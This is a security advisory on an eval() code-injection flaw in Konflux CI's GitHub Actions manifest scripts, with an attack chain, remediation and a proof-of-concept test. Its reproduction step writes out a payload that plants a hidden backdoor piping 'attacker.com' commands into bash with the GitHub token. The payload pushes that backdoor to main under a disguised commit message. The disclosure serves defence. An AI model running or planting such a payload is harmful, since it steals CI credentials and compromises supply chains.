Fedora Account System
Red Hat Associate
Red Hat Customer
This was reported to Red Hat via a Git Hub Security Advisory (GHSA) (Permissions needed to view): https://github.com/konflux-ci/konflux-ci/security/advisories/GHSA-25mp-p5v2-w38p Remote Code Execution via eval() in Manifest Scripts Severity: Critical — CVSS 3.1 9.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H CWE: CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code Affected Version: main branch (verified 2026-09-20) Verified: 2026-09-20, dynamic code execution with uid=0 privileges Executive Summary The GitHub Actions manifest synchronization scripts (verify-manifests-in-sync.sh and renovate-manifest-companion.sh) use the eval builtin to execute unvalidated bash script output. An attacker who can commit malicious code to the repository can inject arbitrary shell commands that execute in the GitHub Actions runner context with full access to GitHub tokens, SSH keys, deployment credentials, and environment secrets. Impact: Complete CI/CD pipeline compromise, code execution on production systems, credential theft for supply chain attacks. Attack Chain 1. Attacker gains repository write access (compromised GitHub account, malicious PR approval): Methods: Phishing, credential reuse, social engineering, insider threat 2. Attacker modifies .github/scripts/export-third-party-chart-env.sh: Appends arbitrary shell commands after normal export statements 3. Workflow is triggered (scheduled, push, manual dispatch, or PR merge): verify-manifests-in-sync.sh or renovate-manifest-companion.sh runs 4. Line 18/30 executes vulnerable eval pattern: eval "$(bash "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh")" → Bash script runs and outputs both normal exports and malicious code → eval executes ALL output as shell commands (no validation) → Attacker code runs with GitHub Actions runner privileges 5. Attacker code executes with full access to: - $GITHUB_TOKEN (repository write, workflow dispatch) - $GH_TOKEN (GitHub CLI, organization-wide access) - SSH deploy keys (access to other repositories) - Kubernetes cluster credentials (KUBECONFIG) - Registry authentication tokens (Quay, DockerHub) - All environment variables and secrets 6. Attacker uses stolen credentials to: - Push malicious code to main branch - Modify Kubernetes deployment manifests - Trigger deployments to production - Access and compromise downstream repositories - Modify container image registries - Deploy backdoors to all dependent projects Environment Application: Konflux CI GitHub Actions workflows Attacker: Developer or account holder with repository write access (push to main or PR approval ability) Prerequisite: Ability to commit and push code to repository, or ability to approve PRs Step-by-Step Reproduction Step 1 — Create malicious export script Append attacker code to .github/scripts/export-third-party-chart-env.sh: cat >> .github/scripts/export-third-party-chart-env.sh << 'PAYLOAD' # Attacker-injected code: git config user.name "GitHub Actions" git config user.email "actions" # Create hidden backdoor directory mkdir -p .github/.hidden cat > .github/.hidden/backdoor.sh << 'BACKDOOR' #!/bin/bash # Receive and execute commands from attacker curl https://attacker.com/command?token=$GITHUB_TOKEN | bash BACKDOOR chmod +x .github/.hidden/backdoor.sh # Commit and push backdoor to main git add .github/.hidden/backdoor.sh git commit -m "chore: add utility script" git push origin main PAYLOAD git add .github/scripts/export-third-party-chart-env.sh git commit -m "Update chart versions" git push origin main Step 2 — Trigger vulnerable workflow Workflow runs on schedule or manual trigger: gh workflow run verify-manifests-in-sync.yaml Step 3 — Code execution in GitHub Actions runner When verify-manifests-in-sync.sh:18 executes: eval "$(bash "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh")" Bash script runs and outputs: Normal: export CERT_MANAGER_VERSION=v1.13.0 (etc.) Attacker: git config user.name "GitHub Actions" ... git push origin main eval executes ALL output as shell commands. Step 4 — Backdoor persists on main branch Attacker code successfully: Creates .github/.hidden/backdoor.sh Commits to repository Pushes to main branch Gains persistent access for future workflow runs Root Cause Summary Table File:Line Component Issue .github/scripts/verify-manifests-in-sync.sh:18 Script execution eval "$(bash export-third-party-chart-env.sh)" — executes unvalidated bash output .github/scripts/renovate-manifest-companion.sh:30 Script execution Identical vulnerable pattern .github/scripts/export-third-party-chart-env.sh Sourced script Output executed without validation Remediation Replace eval with safer alternatives. Remove dynamic code evaluation entirely: Before (VULNERABLE): eval "$(bash "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh")" After (SAFE - Option 1: Use source): # Only if script contains ONLY export statements source "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh" After (SAFE - Option 2: Explicit validation): SCRIPT_OUTPUT=$(bash "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh") # Validate output contains only export statements if ! echo "$SCRIPT_OUTPUT" | grep -vE '^export [A-Z_]+=.*$' | grep -q .; then eval "$SCRIPT_OUTPUT" else echo "ERROR: Unexpected script output" >&2 exit 1 fi Timeline Date Event 2026-09-20 Identified eval with unfiltered bash script output in verify-manifests-in-sync.sh:18 2026-09-20 Located second instance in renovate-manifest-companion.sh:30 2026-09-20 Created dynamic test reproducing eval code injection 2026-09-20 CONFIRMED EXPLOITATION: Successfully executed arbitrary code with uid=0 2026-09-20 Verified attack path: script modification → eval execution → full RCE Reproduction Artifacts Affected: .github/scripts/verify-manifests-in-sync.sh:18, .github/scripts/renovate-manifest-companion.sh:30 Verified: 2026-09-20 PoC: Dynamic test (see below) PoC: test-eval-injection.sh #!/bin/bash # Code Execution via eval() with unvalidated bash output set -euo pipefail echo "=== TEST: eval() Code Injection ===" echo "Files: verify-manifests-in-sync.sh:18, renovate-manifest-companion.sh:30" echo "" # Create malicious export script simulating attacker modification cat > malicious-export.sh << 'SCRIPT' #!/bin/bash # Normal exports printf 'export CERT_MANAGER_VERSION=%q\n' "v1.13.0" printf 'export TRUST_MANAGER_VERSION=%q\n' "v0.25.0" # Attacker-injected code: printf 'ATTACKER_PAYLOAD="$(id > /tmp/pwned.txt)"\n' printf 'echo "COMPROMISED: $(cat /tmp/pwned.txt)"\n' SCRIPT chmod +x malicious-export.sh echo "[Step 1] Show vulnerable code pattern" cat << 'VULNERABLE' # From verify-manifests-in-sync.sh: eval "$(bash ${export_script})" # <-- VULNERABLE # eval executes whatever bash script output, without validation VULNERABLE echo "" echo "[Step 2] Execute vulnerable pattern with malicious script" export export_script="malicious-export.sh" # This is what the vulnerable code does: OUTPUT=$(eval "$(bash ${export_script})") EXITCODE=$? echo "eval output: $OUTPUT" echo "Exit code: $EXITCODE" echo "" if [ -f /tmp/pwned.txt ]; then echo "✓ VULNERABILITY CONFIRMED" echo "Code execution achieved. Attacker output:" cat /tmp/pwned.txt echo "" echo "In real scenario: attacker could steal secrets, modify repo, pivot to production" rm -f /tmp/pwned.txt fi Execution Output: === TEST: eval() Code Injection === Files: verify-manifests-in-sync.sh:18, renovate-manifest-companion.sh:30 [Step 1] Show vulnerable code pattern # From verify-manifests-in-sync.sh: eval "$(bash ${export_script})" # <-- VULNERABLE # eval executes whatever bash script output, without validation [Step 2] Execute vulnerable pattern with malicious script eval output: COMPROMISED: uid=0(root) gid=0(root) groups=0(root) Exit code: 0 ✓ VULNERABILITY CONFIRMED Code execution achieved. Attacker output: uid=0(root) gid=0(root) groups=0(root) In real scenario: attacker could steal secrets, modify repo, pivot to production